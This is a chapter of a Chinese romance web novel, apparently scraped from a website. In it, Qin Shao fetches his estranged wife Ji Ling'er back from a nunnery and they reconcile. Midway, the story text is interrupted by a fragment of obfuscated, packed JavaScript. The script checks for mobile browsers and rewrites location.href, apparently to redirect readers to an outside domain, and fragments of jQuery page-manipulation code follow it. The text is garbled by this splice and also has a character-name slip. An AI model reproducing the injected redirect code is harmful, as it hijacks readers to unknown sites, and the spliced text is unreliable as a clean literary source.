“不见了，什么叫不见了？”秦劭声音沉得发寒，眼底骤然聚起风暴。


    玉秀闻声上前，战栗着复述早间情形。


    跟在后面的阿吉缩着脖子打了个冷噤，白日商行事务焦头烂额，都没见爷如此沉不住气，眼前俨然乱了方寸。


    正愣着，一道凌厉目光射下来：“派人去寻。”


    阿吉连声应是，领命奔出。


    小半个时辰，回来复命的皆战战兢兢说无果。


    秦劭站在廊下，身上仍披着回来时那件大氅，隐在下面的指节捏得发白，底下人先头的劝说全被冷眼剜了回去，不敢再多嘴。


    夜色渐浓，府中灯笼一盏盏亮起，幽深的眸中光芒一闪，屏退其余，独留玉秀问话。


    “她可是要走？”


    玉秀恐引起疑心，先前回话没说完整，乍听他如此问慌了神，大爷莫非真知道什么？


    没敢耽搁太久，老实道：“不是。”


    “说清楚。”秦劭字音咬得极重。


    他目中寒光如刃，直直架在头顶，玉秀屈膝跪地，抖擞着重复原话：“少夫人让奴婢放心，说她不会撂下奴婢溜走的。”


    握紧的拳头松开，秦劭缓一口气，道：“起来罢，随我去趟清心庵。”


    ...


    寒霜浸湿长阶，秦劭素来沉稳的步伐乱了节奏，玉秀提裙小跑，还是落后一大截。


    至清心庵，玉秀上前叩开门扉，小尼姑探出头问：“施主漏夜敲门有何事？”


    “白日可有一名姓季的女子来过？”


    小尼姑摇头：“来往香客众多，贫尼实在不知您所说是哪一位。”


    玉秀看了眼远在身后的秦劭，小声道：“季灵儿，你们定然是认识她的。”


    小尼姑低眉道：“那位施主今晨来过，已在庵中落发。”


    玉秀浑身震颤：“你说什么？”


    再怎么看，她也不会是想不开出家之人。


    正想着，秦劭不知何时走到她身后，语气清寒道：“麻烦小师父通秉明尽师太，秦劭请见。”


    小尼姑看见是名男子震惊地连忙掩门，只露出半张脸：“夜深露重，施主乃男子，实在不便入内，请回吧。”


    秦劭立于阶下，风拂衣袂，声如寒泉：“小师父尽管通秉，若明尽师太不肯见，我即刻下山。”


    小尼姑迟疑片刻，关上门进去传话。


    禅房中，季灵儿闻听小尼姑传话，不等明尽开口，气愤道：“不见不见，让他走！”


    明尽师太盘坐在她对面，停了捻动佛珠的动作，抬眼望她：“他既来了，何必拒人于千里？”


    “您不知道，他实在太......过分。”季灵儿想到昨日便羞恼。


    “你在我这儿气了半日，却迟迟不说为何。”


    “佛门清净地，说出来怕污了佛祖耳朵。”她才没脸说。


    明尽没再追问，站起身道：“秦施主于本庵有大功德，你不见便罢，我不好驳他颜面。”


    山门再度开启，明尽亲自迎出，秦劭略一颔首，目光透过她肩头往后，唯有几个怯怯垂首的小尼，不见那道熟悉的身影。


    “她不愿见我。”他用陈述的语气叹了一声。


    明尽点点头，开门见山道：“秦施主有话要贫尼转达吗？”


    “无话，知道她在师太这里我便安心了，漏夜叨扰师太清修实在不该。”秦劭拱手一礼，旋即从袖中抽出两张银票递给明尽，“秦某的谢罪之礼，还请收下。”


    明尽未推辞，只淡然问道：“善缘须寻准根源，贫尼多问一句，秦施主是自己请罪，还是代人赎愆？


    秦劭忖度须臾，道：“她来扰师太清修，亦是秦某之过，算是秦某向佛祖和师太告罪。”


    明尽低诵佛号，双手接过银票，“善因结善果，秦施主心诚，佛门自会庇佑。”


    玉秀眼睁睁看着师太进去，疑问在舌尖绕了几圈不敢问出口，瞥见秦劭回身，赶紧低下头。


    “回吧。”


    玉秀跟着走出两步，回头看看紧闭的山门，终是没忍住道：“大爷，咱们不接少夫人回去吗？”


    秦劭顿步立在月色下，衣袍被山风微微掀起，“她不出来，便是不愿回去。”


    月光照着眸底暗潮沉浮，最后化作一片寂然。


    玉秀想说您来都来了，好得多请一番，可面对的是秦劭，她没勇气多嘴。


    *


    季灵儿心不在焉着灯芯，见明尽回来，佯装不在意地抬眼，问：“他来做什么？”


    “告罪。”明尽将银票压在檀香盒下。


    “告什么罪？”


    “我不传人口舌，你若想知道，大可自行去问。”


    “他还在外头？”季灵儿说着往外探一眼，唯有黑漆漆的夜。实在想不出他傻等在外头这样的模样，遂不觉得有这种可能。


    “不知。”


    季灵儿指尖一晃，灯芯骤然爆出细小的火花。


    万一呢？她倒想看看他那样将规矩原则的人夜半守在尼姑庵外的模样。


    出去瞧，若人不在她无甚损失，若在，同样看他一场笑话，再轰走就是。


    想到第二种可能，季灵儿心中已然觉得解气，放下灯剪，轻步掀帘而出。


    明尽无奈摇首。


    山门外寂寥无声，唯有交错的枝丫剪碎月影，洒落满地斑驳。


    果然，他根本不会傻乎乎等在这里。


    失望转身，刚抬脚便听见身后传来熟悉的呼唤：“季凌。”


    秦劭从暗处缓步走出，月光清寒，勾勒出的挺拔轮廓凛冽如霜雪雕琢，后面几步远的阴影里，站着低头不作声的玉秀。


    季灵儿看他眉目沉寂如往昔，没有丝毫笑话可看，反倒衬的巴巴追出来的自己成了笑话。


    何苦来哉。


    心中又别扭起来，不顾来人呼唤转身往里走。


    手腕被拽住，对方加重力气在上头，一把将她拉回身前，只差咫尺便撞进他怀里。


    “你做什么，这里乃佛门清净地！”她瞪他，一生气便顾不得称呼，晶莹眸子蒙着怒气愈显透亮。


    秦劭却觉得她现在的模样更亲近，自然，庆幸改主意寻了回来。


    “接你回家。”


    “不回。”季灵儿抿紧唇线，转了转发烫的手腕，这人怎么在外面待这么久手还是暖的？


    秦劭手上力度未减，声音已然柔下来：“真要留在这里剃发当姑子？”


    “对。”


    “佛家戒律清规，你受得住哪一条？”秦劭弯眸带出一丝浅笑。


    “......”


    她才没那么想不开，让清音传话剃发的事，纯粹置气，眼下对方没怎样，自己反被拿住话口一通揶揄。


    惹人厌的秦劭，分明是专程来气人的。


    想挣脱却不能，气愤地反诘：“师太说你来告罪，就是这么向佛祖告罪的？”


    她话音落，明尽的点拨跟着在秦彻耳边响起，恍然明白其所指。


    闹成如今局面，归根究底是他之罪。


    心头杂乱又起，换上几分歉意，“那我向你告罪，可否？”


    季灵儿闻言难免想起昨夜的难为情，羞红脸不语。


    秦劭松开她，解释道：“昨夜之事，是我不想你因为求庇护委身于我。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440238|184104||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“我何时——”季灵儿脱口反驳，倏然想到他悬崖勒马时的那一问，沿着思绪往前寻，后知后觉反应，磕磕巴巴改口：“我没有那意思。”


    “没有吗？”秦劭反问，洞悉一切的目光钉在她身上。


    季灵儿生出心虚，按着良心想了想，有的。


    彼时意乱情迷，连她自己都没意识到，答应他，是因前一番令人动容的承诺乱了心神，她潜意识想得一份安稳。


    话说回来，谁不想得安稳呢？


    她寻到了问题根源，但并不把错归在自己身上，理直气壮质问眼前人：“可您说那番话不是为了.....”


    她说不出羞人的话，努力搜索措辞，道：“不是为了要我吗？”


    用词婉转，话意却利刃一般扎在秦劭心上，望着她的眸子收紧，要出口的话哽在喉头，嘴角扯一抹自嘲。


    “你如此想？”


    对上他的目光，季灵儿的气势又莫名弱下来，声音渐低：“我没有，我就是询问，询问......”


    “那我认真回答你，不是。”秦劭目光坦荡，字字清晰，并无半分闪躲。


    觉得说的不够清楚，顿了顿，又道：“我的确想要你，但那番话纯粹出自肺腑，二者没有因果。”


    季灵儿讷讷半晌，脸颊透出夜色藏不住的红，“你，你怎么能在佛前说这样的话。”


    小姑娘惯会倒打一耙。


    “不是你先说的，问我是不是为了......要你。”秦劭倾身咬着耳朵将后半句学她之言送进她耳蜗。


    “你，你不羞！”季灵儿脸烧得更红，冬夜的夜风掠过都得滚出温度。


    秦劭低笑，温热的呼吸拂过她耳际，“我解释清楚了吗？”


    “嗯。”


    “那，现在可以随我回去吗？”


    季灵儿认真想了会儿，她还要去学堂，待在庵里到底不方便，遂道：“可以，但你睡厢房。”


    “好。”


    …


    从黄昏折腾到半夜，秦劭院里的动静根本瞒不过，丫鬟婆子早将消息递到各院，老夫人睡的早，暂且未惊动，方淑凤正在堂屋礼佛，佛珠一颗颗滑过指尖，始终垂目不语，只是眉头皱得愈发深。


    身旁嬷嬷深谙她的心思，原以为表小姐任性，未料新夫人比她更甚，入府时日不长，闹出的动静却一次比一次大。


    夫人寡居多年，一直希望能得个贴心规矩的儿媳，跟在身旁说个贴心话，再诞育一儿半女，给这院子添些热闹。


    可如今看来，这些指望怕是落空。


    方淑凤惯将情绪窝在心中，嬷嬷从前劝的不少，鲜有作用，忧心之下，翌日一早寻到秦劭跟前，委婉提醒他多规劝少夫人，毕竟延续香火，伺候婆母才是为人妻媳的本分。


    嬷嬷敢擅自做主来劝，捏的是秦劭一贯孝敬，遵循礼法，必会顾念大夫人感受，适当管束少夫人。


    不料秦劭却说：“是本分不假，可她亦是一个人，该有自己的想法和性格，外人无权强加干涉，纵然是我这做夫君的也不能。我知嬷嬷忧虑母亲，寻机会我会与母亲深谈，也请嬷嬷多宽慰母亲，哄她出去散散心，莫总困在屋子里愁闷。”


    ......


    季灵儿起来时，秦劭已出门去商行了，故不清楚院中有过这一遭，寻常梳洗罢，换上男装去叠翠园。


    刚一进门，被梁宸拦住去路，气势汹汹发问：“你同师父是什么关系？”


    当头一句，季灵儿有些摸不着头脑，道：“自是师徒。”


    梁宸张望四周，暂且无旁人经过，遂道：“别想诓我，我的人瞧见你昨日夜半与师父一起进了秦家。”